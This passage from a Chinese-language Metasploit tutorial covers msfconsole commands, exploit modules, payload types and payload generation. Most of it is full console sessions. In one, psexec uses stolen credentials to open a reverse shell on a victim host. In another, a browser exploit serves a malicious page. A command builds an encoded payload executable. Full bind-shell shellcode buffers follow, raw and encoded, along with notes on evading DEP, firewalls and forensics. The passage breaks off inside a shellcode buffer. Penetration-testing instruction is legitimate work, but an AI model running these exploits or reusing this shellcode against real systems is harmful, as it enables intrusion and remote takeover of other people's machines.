   generic/debug_trap                                                normal  Generic x86 Debug Trap
   generic/shell_bind_tcp                                            normal  Generic Command Shell, Bind TCP Inline

35.options

如果您选择了特定模块,则可以发出show options命令来显示该特定模块可用和/或必需的设置。

msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

36.targets

如果您不确定操作系统是否容易受到特定漏洞攻击,请在漏洞利用模块的上下文中运行show targets命令以查看哪些目标受支持。

msf  exploit(ms08_067_netapi) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   10  Windows 2003 SP1 Japanese (NO NX)
   11  Windows 2003 SP2 English (NO NX)
   12  Windows 2003 SP2 English (NX)
...略...

37.advanced

如果您希望进一步微调漏洞,可以通过运行show advanced来查看更多高级选项。

msf exploit(ms08_067_netapi) > show advanced

Module advanced options (exploit/windows/smb/ms08_067_netapi):

   Name                    Current Setting    Required  Description
   ----                    ---------------    --------  -----------
   CHOST                                      no        The local client address
   CPORT                                      no        The local client port
   ConnectTimeout          10                 yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                     no        The information file that contains context information
   DCERPC::ReadTimeout     10                 yes       The number of seconds to wait for DCERPC responses
   DisablePayloadHandler   false              no        Disable the handler code for the selected payload
   EnableContextEncoding   false              no        Use transient context when encoding payloads
   NTLM::SendLM            true               yes       Always send the LANMAN response (except when NTLMv2_session is specified)
   NTLM::SendNTLM          true               yes       Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
   NTLM::SendSPN           true               yes       Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
   NTLM::UseLMKey          false              yes       Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
   NTLM::UseNTLM2_session  true               yes       Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
   NTLM::UseNTLMv2         true               yes       Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
   Proxies                                    no        A proxy chain of format type:host:port[,type:host:port][...]
   SMB::ChunkSize          500                yes       The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
   SMB::Native_LM          Windows 2000 5.0   yes       The Native LM to send during authentication
   SMB::Native_OS          Windows 2000 2195  yes       The Native OS to send during authentication
   SMB::VerifySignature    false              yes       Enforces client-side verification of server response signatures
   SMBDirect               true               no        The target port is a raw SMB service (not NetBIOS)
   SMBDomain               .                  no        The Windows domain to use for authentication
   SMBName                 *SMBSERVER         yes       The NetBIOS hostname (required for port 139 connections)
   SMBPass                                    no        The password for the specified username
   SMBUser                                    no        The username to authenticate as
   SSL                     false              no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                  no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER               no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto               no        Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, SSL2, SSL3, SSL23, TLS, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false              no        Enable detailed status messages
   WORKSPACE                                  no        Specify the workspace for this module
   WfsDelay                0                  no        Additional delay when waiting for a session

38.encoders

正在运行show encoders将显示MSF中可用“encoders(编码器)”的列表。

msf > show encoders

Encoders
========

   Name                          Disclosure Date  Rank       Description
   ----                          ---------------  ----       -----------
   cmd/echo                                       good       Echo Command Encoder
   cmd/generic_sh                                 manual     Generic Shell Variable Substitution Command Encoder
   cmd/ifs                                        low        Generic ${IFS} Substitution Command Encoder
   cmd/perl                                       normal     Perl Command Encoder
   cmd/powershell_base64                          excellent  Powershell Base64 Command Encoder
   cmd/printf_php_mq                              manual     printf(1) via PHP magic_quotes Utility Command Encoder
   generic/eicar                                  manual     The EICAR Encoder
   generic/none                                   normal     The "none" Encoder
   mipsbe/byte_xori                               normal     Byte XORi Encoder
   mipsbe/longxor                                 normal     XOR Encoder
   mipsle/byte_xori                               normal     Byte XORi Encoder
   mipsle/longxor                                 normal     XOR Encoder
   php/base64                                     great      PHP Base64 Encoder
   ppc/longxor                                    normal     PPC LongXOR Encoder
   ppc/longxor_tag                                normal     PPC LongXOR Encoder
   sparc/longxor_tag                              normal     SPARC DWORD XOR Encoder
   x64/xor                                        normal     XOR Encoder
   x64/zutto_dekiru                               manual     Zutto Dekiru
   x86/add_sub                                    manual     Add/Sub Encoder
   x86/alpha_mixed                                low        Alpha2 Alphanumeric Mixedcase Encoder
   x86/alpha_upper                                low        Alpha2 Alphanumeric Uppercase Encoder
   x86/avoid_underscore_tolower                   manual     Avoid underscore/tolower
   x86/avoid_utf8_tolower                         manual     Avoid UTF8/tolower
   x86/bloxor                                     manual     BloXor - A Metamorphic Block Based XOR Encoder
   x86/bmp_polyglot                               manual     BMP Polyglot
   x86/call4_dword_xor                            normal     Call+4 Dword XOR Encoder
   x86/context_cpuid                              manual     CPUID-based Context Keyed Payload Encoder
   x86/context_stat                               manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                               manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                                  normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                                normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                          normal     Jump/Call XOR Additive Feedback Encoder
   x86/nonalpha                                   low        Non-Alpha Encoder
   x86/nonupper                                   low        Non-Upper Encoder
   x86/opt_sub                                    manual     Sub Encoder (optimised)
   x86/service                                    manual     Register Service
   x86/shikata_ga_nai                             excellent  Polymorphic XOR Additive Feedback Encoder
   x86/single_static_bit                          manual     Single Static Bit
   x86/unicode_mixed                              manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
   x86/unicode_upper                              manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

39.nops

最后,运行 show nops 命令将显示Metasploit必须提供的“NOP(空指令)”生成器。

msf > show nops

NOP Generators
==============

   Name             Disclosure Date  Rank    Description
   ----             ---------------  ----    -----------
   aarch64/simple                    normal  Simple
   armle/simple                      normal  Simple
   mipsbe/better                     normal  Better
   php/generic                       normal  PHP Nop Generator
   ppc/simple                        normal  Simple
   sparc/random                      normal  SPARC NOP Generator
   tty/generic                       normal  TTY Nop Generator
   x64/simple                        normal  Simple
   x86/opty2                         normal  Opty2
   x86/single_byte                   normal  Single Byte

40.use

当您决定使用某个特定模块时,请发出use命令来选择它。在使用命令改变你的需要选择的模块,露出特定类型的命令。在下面的输出中注意,之前设置的全局变量已经被配置。

msf > use dos/windows/smb/ms09_001_write
msf auxiliary(ms09_001_write) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  445              yes       Set the SMB service port

msf auxiliary(ms09_001_write) >

四、Exploits(漏洞)

1. Metasploit 使用“主动和被动”Exploits(漏洞)、

Metasploit框架中的所有漏洞分为两类:主动被动

1.1.主动漏洞利用

主动漏洞将利用特定的主机,运行直至完成,然后退出。

  • “Brute-force(暴力)”模块将在受害者打开外壳时退出。
  • 如果遇到错误,模块执行将停止。
  • 您可以通过将'-j'传递给exploit命令来强制活动模块进入后台:
msf exploit(ms08_067_netapi) > exploit -j
[*] Exploit running as background job 0.
msf exploit(ms08_067_netapi) >

例子:

以下示例利用先前获取的一组凭据来利用并获得目标系统上的反向shell。

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.100
RHOST => 192.168.1.100
msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(psexec) > set LPORT 4444
LPORT => 4444
msf exploit(psexec) > set SMBUSER victim
SMBUSER => victim
msf exploit(psexec) > set SMBPASS s3cr3t
SMBPASS => s3cr3t
msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'victim'...
[*] Uploading payload...
[*] Created \hikmEeEM.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (ciWyCVEp - "MXAVZsCqfRtZwScLdexnD")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \hikmEeEM.exe...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.100:1073)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

1.2.被动漏洞利用

  • 被动攻击等待传入主机并在连接时利用它们。
  • 被动攻击几乎总是集中在诸如Web浏览器,FTP客户端等客户端上。
  • 它们也可以与电子邮件漏洞利用一起使用,等待连接。
  • 被动攻击报告shell可以通过将'-l'传递给sessions命令来枚举。传递'-i'将与shell进行交互。
msf exploit(ani_loadimage_chunksize) > sessions -l

Active sessions
===============

  Id  Description  Tunnel
  --  -----------  ------
  1   Meterpreter  192.168.1.5:52647 -> 192.168.1.100:4444

msf exploit(ani_loadimage_chunksize) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

例子:

以下输出显示了利用“animated cursor(动画光标)”漏洞的设置。直到受害者浏览我们的恶意网站,攻击才会启动。

msf > use exploit/windows/browser/ani_loadimage_chunksize
msf exploit(ani_loadimage_chunksize) > set URIPATH /
URIPATH => /
msf exploit(ani_loadimage_chunksize) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ani_loadimage_chunksize) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(ani_loadimage_chunksize) > set LPORT 4444
LPORT => 4444
msf exploit(ani_loadimage_chunksize) > exploit
[*] Exploit running as background job.

[*] Started reverse handler
[*] Using URL: http://0.0.0.0:8080/
[*]  Local IP: http://192.168.1.5:8080/
[*] Server started.
msf exploit(ani_loadimage_chunksize) >
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending HTML page to 192.168.1.100:1077...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP) to 192.168.1.100:1077...
[*] Sending stage (240 bytes)
[*] Command shell session 2 opened (192.168.1.5:4444 -> 192.168.1.100:1078)

msf exploit(ani_loadimage_chunksize) > sessions -i 2
[*] Starting interaction with 2...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\victim\Desktop>

2 .Metasploit 如何使用Exploits(漏洞)?

msf5 > show exploits

在Metasploit中选择一个漏洞利用程序将'exploit'和'check'命令添加到msfconsole。

msf5 > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index 
msf5 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    color         Toggle color
    connect       Communicate with a host
    exit          Exit the console
    get           Gets the value of a context-specific variable
    getg          Gets the value of a global variable
    grep          Grep the output of another command
    help          Help menu
    history       Show command history
    load          Load a framework plugin
    quit          Exit the console
    repeat        Repeat a list of commands
    route         Route traffic through a session
    save          Saves the active datastores
    sessions      Dump session listings and display information about sessions
    set           Sets a context-specific variable to a value
    setg          Sets a global variable to a value
    sleep         Do nothing for the specified number of seconds
    spool         Write console output into a file as well the screen
    threads       View and manipulate background threads
    unload        Unload a framework plugin
    unset         Unsets one or more context-specific variables
    unsetg        Unsets one or more global variables
    version       Show the framework and console library version numbers

2.1.show

使用exploits(漏洞)还会为'show'命令添加更多选项。

MSF Exploit Targets(漏洞目标):

msf exploit(ms09_050_smb2_negotiate_func_index) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows Vista SP1/SP2 and Server 2008 (x86)

MSF Exploit Payloads(漏洞有效载荷):

msf exploit(ms09_050_smb2_negotiate_func_index) > show payloads

Compatible Payloads
===================

   Name                              Disclosure Date  Rank    Description
   ----                              ---------------  ----    -----------
   generic/custom                                     normal  Custom Payload
   generic/debug_trap                                 normal  Generic x86 Debug Trap
   generic/shell_bind_tcp                             normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                          normal  Generic Command Shell, Reverse TCP Inline
   generic/tight_loop                                 normal  Generic x86 Tight Loop
   windows/adduser                                    normal  Windows Execute net user /ADD
...略...

MSF Exploit Options(漏洞选项):

msf exploit(ms09_050_smb2_negotiate_func_index) > show options

Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.1.136    yes       The target address
   RPORT  445              yes       The target port (TCP)
   WAIT   180              yes       The number of seconds to wait for the attack to complete.


Exploit target:

   Id  Name
   --  ----
   0   Windows Vista SP1/SP2 and Server 2008 (x86)

Advanced(高级):

msf exploit(ms09_050_smb2_negotiate_func_index) > show advanced

Module advanced options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):

   Name                    Current Setting    Required  Description
   ----                    ---------------    --------  -----------
   CHOST                                      no        The local client address
   CPORT                                      no        The local client port
   ConnectTimeout          10                 yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                     no        The information file that contains context information
   DisablePayloadHandler   false              no        Disable the handler code for the selected payload
   EnableContextEncoding   false              no        Use transient context when encoding payloads
...略...

Evasion(越狱):

msf exploit(ms09_050_smb2_negotiate_func_index) > show evasion

Module evasion options:

   Name                           Current Setting  Required  Description
   ----                           ---------------  --------  -----------
   SMB::obscure_trans_pipe_level  0                yes       Obscure PIPE string in TransNamedPipe (level 0-3)
   SMB::pad_data_level            0                yes       Place extra padding between headers and data (level 0-3)
   SMB::pad_file_level            0                yes       Obscure path names used in open/create (level 0-3)
   SMB::pipe_evasion              false            yes       Enable segmented read/writes for SMB Pipes
   SMB::pipe_read_max_size        1024             yes       Maximum buffer size for pipe reads
   SMB::pipe_read_min_size        1                yes       Minimum buffer size for pipe reads
   SMB::pipe_write_max_size       1024             yes       Maximum buffer size for pipe writes
   SMB::pipe_write_min_size       1                yes       Minimum buffer size for pipe writes
   TCP::max_send_size             0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay                0                no        Delays inserted before every send.  (0 = disable)

五、Payloads(有效载荷)

5.1 了解Metasploit中的Payloads(有效载荷)

什么是payload?

payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。也有人把payloads称 为shellcode。

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。

payload有几种类型:

1、singles:独立载荷,可直接植入目标系统并执行相应的程序,如:shell_bind_tcp这个payload。

2、stagers:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入,这类载荷功能都非常相似,大致分为bind型和reverse型,bind型是需要攻击机主动连接目标端口的;而reverse型是目标机会反连接攻击机,需要提前设定好连接攻击机的ip地址和端口号。

3、stages:传输体载荷,如shell,meterpreter等。在stagers建立好稳定的连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。比如得到目标机的shell,或者meterpreter控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。

由此可见,msf中的meterpreter其实就是一个payload,它需要stagers和相应的stages配合运行,meterpreter是运行在内存中的,通过注入dll文件实现,在目标机硬盘上不会留下文件痕迹,所以在被入侵时很难找到。正是因为这点,所以meterpreter非常可靠、稳定、优秀。

Metasploit中Payloads的含义是什么?

metapsloit中的Payloads是指exploit(漏洞)模块。

Metasploit框架中有三种不同类型的Payloads模块:SinglesStagers, 和 Stages。这些不同的类型可以提供很多的多功能性,并且可以在多种类型的场景中使用。

无论Payloads是否上演,在Payloads名称中用'/'表示。

例如,“windows / shell_bind_tcp”是没有stage的single payload,而“windows / shell / bind_tcp”由一个stager(bind_tcp)和一个stage(shell)组成。

内容:

1、Singles

2、Stagers

3、Stages

Singles(独立载荷)

Singles是独立的和完全独立的payload。一个Single payload可以是将用户添加到目标系统或运行CALC.EXE简单的东西。

这些类型的payload是独立的,所以它们可以被例如netcat之类的非metasploit处理程序捕获。

Stagers(传输器载荷)

Stagers设置攻击者和受害者之间的网络连接,并设计为小巧可靠。很难总是做到这一点,所以结果是多个类似的stagers。Metasploit会尽可能使用最好的一个,并在需要时回退到较不偏好的一个。

Windows NX 比较 NO-NX Stagers
  • NX CPU和DEP的可靠性问题
  • NX Stagers 更大(VirtualAlloc)
  • 默认是现在NX + Win7兼容
Stages(传输体载荷)

Stages是通过Stagers模块下载的payload组件。各种payload Stages提供了无尺寸限制的高级功能,如Meterpreter,VNC Injection和iPhone'ipwn' Shell。

Payload stages自动使用“middle stagers”
  • 单个recv()失败,并带有大量的payloads
  • 当这个stages收到了middle stager
  • middle stager然后执行完整的下载
  • RWX也更好

5.2 Metasploit框架中的Payload(有效载荷)类型

我们简要介绍了三种主要的Payload类型:singles,stagers 和 stages。Metasploit包含许多不同类型的Payload,每个Payload都在框架内发挥独特作用。我们来简要介绍一下可用的各种Payload,并了解何时应使用每种类型的Payload。

payload三种主要类型

  1. singles:独立载荷,可直接植入目标系统并执行相应的程序,如:shell_bind_tcp这个payload。
  2. stagers:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入,这类载荷功能都非常相似,大致分为bind型和reverse型,bind型是需要攻击机主动连接目标端口的;而reverse型是目标机会反连接攻击机,需要提前设定好连接攻击机的ip地址和端口号。
  3. stages:传输体载荷,如shell,meterpreter等。在stagers建立好稳定的连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。比如得到目标机的shell,或者meterpreter控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。

Metasploit中的Payload类型有以下几种,包括Inline、Stager、Meterpreter、PassiveX、NoNX、Ord、IPv6 和 Reflective DLL注入;下面 分别详细说明一下各类型都是做什么的?有什么区别?

Inline (非Staged)

包含所选任务的漏洞利用和完整shell代码的single payload。Inline Payloads(有效载荷)在设计上比  其它更稳定,因为它们将所有内容都包含在内。但是,一些漏洞不会支持这些payloads(有效负载)的结果大小。

Stager

Stager payloads 与stage payloads一起工作以执行特定任务。stager在攻击者和受害者之间建立一个通信通道,并读入一个stage payloads在远程主机上执行。

Meterpreter

Meterpreter是Meta-Interpreter的缩写,它是一种先进的,多方面的Payload(有效载荷),通过dll注入进行操作。Meterpreter完全驻留在远程主机的内存中,并且不会在硬盘上留下任何痕迹,因此使用传统的取证技术很难进行检测。脚本和插件可以根据需要动态加载和卸载,并且Meterpreter的开发非常强大并且不断发展。

PassiveX

PassiveX也是一个Payload(有效载荷),可以帮助规避限制性出站防火墙。它通过使用ActiveX控件来创建Internet Explorer的隐藏实例。使用新的ActiveX控件,它通过HTTP请求和响应与攻击者进行通信。

NoNX

NX(No eXecute)位是内置于某些CPU中的功能,用于防止代码在某些内存区域执行。在Windows中,NX被实现为数据执行保护(DEP)。Metasploit NoNX Payloads(有效载荷)旨在规避DEP。

Ord

Ord Payloads是基于Windows stager的有效载荷,具有明显的优点和缺点。它的优点是可以追溯到Windows 9x的每一种风格和语言,而不需要明确定义返回地址。他们也非常小。然而,两个非常具体的缺点使他们不是默认选择。首先是它依赖于ws2_32.dll在被利用之前被加载的事实。第二个是它比其他stagers不太稳定。

IPv6

正如名称所示,Metasploit IPv6 Payloads(有效载荷)构建于IPv6网络上。、

Reflective DLL injection(反射性DLL注入)

反射式DLL注入是一种技术,将stage payload注入到运行在内存中的受损主机进程中,从不接触主机硬盘。VNC和Meterpreter Payload(有效载荷)都使用反射式DLL注入。

5.3 Metasploit 如何生成Payloads(有效载荷)?

简单示例:

msf5 payload(windows/meterpreter/reverse_tcp) > generate -b '\x00' -e  x86/shikata_ga_nai -i 5 -f exe -p Windows -o /root/love.exe -n 18

 为Metasploit 生成一个Payload(有效载荷)

在开发漏洞的过程中,您肯定需要生成shellcode以用于漏洞利用。在Metasploit中,Payloads可以从msfconsole中生成。当你“‘use’”某个Payloads时,Metasploit会添加“generate”、“pry”和 “reload” 命令。Generate将是本节学习如何使用Metasploit的主要关注点。

msf > use payload/windows/shell_bind_tcp
msf payload(shell_bind_tcp) > help
...略...
Payload 命令
================

    命    令      描     述
    -------       -----------
    check         检查目标是否易受攻击
    generate      生成一个payload(有效载荷)
    pry           在当前模块上打开一个Pry会话
    reload        从磁盘重新加载当前模块
    to_handler    用指定的payload(有效载荷)创建一个处理程序

让我们先看看“ generate ”命令的各种选项,方法是使用' -h '开关运行它。

msf payload(bind_tcp) > generate -h
用法:
generate [选项]

描述:
生成一个Payloads(有效载荷)。

选项:
-E               强制编码。
-b <opt>   要避免的字符列表:'\ x00 \ xff'
-e <opt>   要使用的编码器模块的名称。
-f <opt>    输出文件名(否则为stdout)
-h               帮助横幅。
-i <opt>    编码迭代的数量。
-k              保持模板可执行功能
-o <opt>   VAR = VAL格式的逗号分隔的选项列表。
-p <opt>   输出平台。
-s <opt>    NOP底座长度。
-t <opt>      输出格式:bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war

-x <opt>   要使用的可执行模板

要生成没有任何选项的shellcode,只需执行' generate '命令即可。

msf payload(bind_tcp) > generate
# windows/shell/bind_tcp - 285 bytes (stage 1)
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=192.168.1.136, 
# PayloadUUIDTracking=false, EnableStageEncoding=false, 
# StageEncoderSaveRegisters=, StageEncodingFallback=true, 
# PrependMigrate=false, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" +
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" +
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" +
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32" +
"\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" +
"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b" +
"\x00\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a\x02\x68" +
"\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89\xe6" +
"\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7" +
"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57" +
"\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57" +
"\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10" +
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53" +
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3" +
"\x29\xc6\x75\xee\xc3"

# windows/shell/bind_tcp - 240 bytes (stage 2)
# http://www.metasploit.com
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" +
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01" +
"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" +
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89" +
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb" +
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" +
"\xff\xd5"

当然,没有任何'tweeking'这样的生成shellcode的几率是相当低的。通常会根据目标机器使用错误的字符和特定类型的编码器。

为了做到这一点,我们发出' generate '命令,后面跟着' -b ' 选项,并附带我们希望在生成过程中不允许的字节。

msf payload(bind_tcp) > generate -b '\x00'
# windows/shell/bind_tcp - 312 bytes (stage 1)
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=192.168.1.136, 
# PayloadUUIDTracking=false, EnableStageEncoding=false, 
# StageEncoderSaveRegisters=, StageEncodingFallback=true, 
# PrependMigrate=false, EXITFUNC=process, 
# InitialAutoRunScript=, AutoRunScript=
buf = 
"\xd9\xce\xb8\xe7\x47\x70\xc8\xd9\x74\x24\xf4\x5f\x29\xc9" +
"\xb1\x48\x31\x47\x18\x03\x47\x18\x83\xef\x1b\xa5\x85\x34" +
"\x0b\xa8\x66\xc5\xcb\xcd\xef\x20\xfa\xcd\x94\x21\xac\xfd" +
"\xdf\x64\x40\x75\x8d\x9c\xd3\xfb\x1a\x92\x54\xb1\x7c\x9d" +
"\x65\xea\xbd\xbc\xe5\xf1\x91\x1e\xd4\x39\xe4\x5f\x11\x27" +
"\x05\x0d\xca\x23\xb8\xa2\x7f\x79\x01\x48\x33\x6f\x01\xad" +
"\x83\x8e\x20\x60\x98\xc8\xe2\x82\x4d\x61\xab\x9c\x92\x4c" +
"\x65\x16\x60\x3a\x74\xfe\xb9\xc3\xdb\x3f\x76\x36\x25\x07" +
"\xb0\xa9\x50\x71\xc3\x54\x63\x46\xbe\x82\xe6\x5d\x18\x40" +
"\x50\xba\x99\x85\x07\x49\x95\x62\x43\x15\xb9\x75\x80\x2d" +
"\xc5\xfe\x27\xe2\x4c\x44\x0c\x26\x15\x1e\x2d\x7f\xf3\xf1" +
"\x52\x9f\x5c\xad\xf6\xeb\x70\xba\x8a\xb1\x1c\x0f\xa7\x49" +
"\xdc\x07\xb0\x3a\xee\x88\x6a\xd5\x42\x40\xb5\x22\xa5\x7b" +
"\x01\xbc\x58\x84\x72\x94\x9e\xd0\x22\x8e\x37\x59\xa9\x4e" +
"\xb8\x8c\x44\x44\x1f\x7f\x7b\xa7\xf5\x7e\x11\x5a\x61\x6b" +
"\xea\x85\x91\x94\x20\xae\x39\x69\xcb\xc0\xe5\xe4\x2d\x88" +
"\x05\xa1\xe6\x25\xe7\x96\x3e\xd1\x18\xfd\x16\x75\x51\x17" +
"\xa0\x7a\x62\x3d\x86\xec\xe8\x52\x12\x0c\xef\x7e\x32\x59" +
"\x67\xf4\xd3\x28\x16\x09\xfe\xd9\xd8\x9f\x05\x48\x8f\x37" +
"\x04\xad\xe7\x97\xf7\x98\x7c\x11\x62\x63\xea\x5e\x62\x63" +
"\xea\x08\xe8\x63\x82\xec\x48\x30\xb7\xf2\x44\x24\x64\x67" +
"\x67\x1d\xd9\x20\x0f\xa3\x04\x06\x90\x5c\x63\x96\xec\x8a" +
"\x4d\xec\x1c\x0f"

# windows/shell/bind_tcp - 240 bytes (stage 2)
# http://www.metasploit.com
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
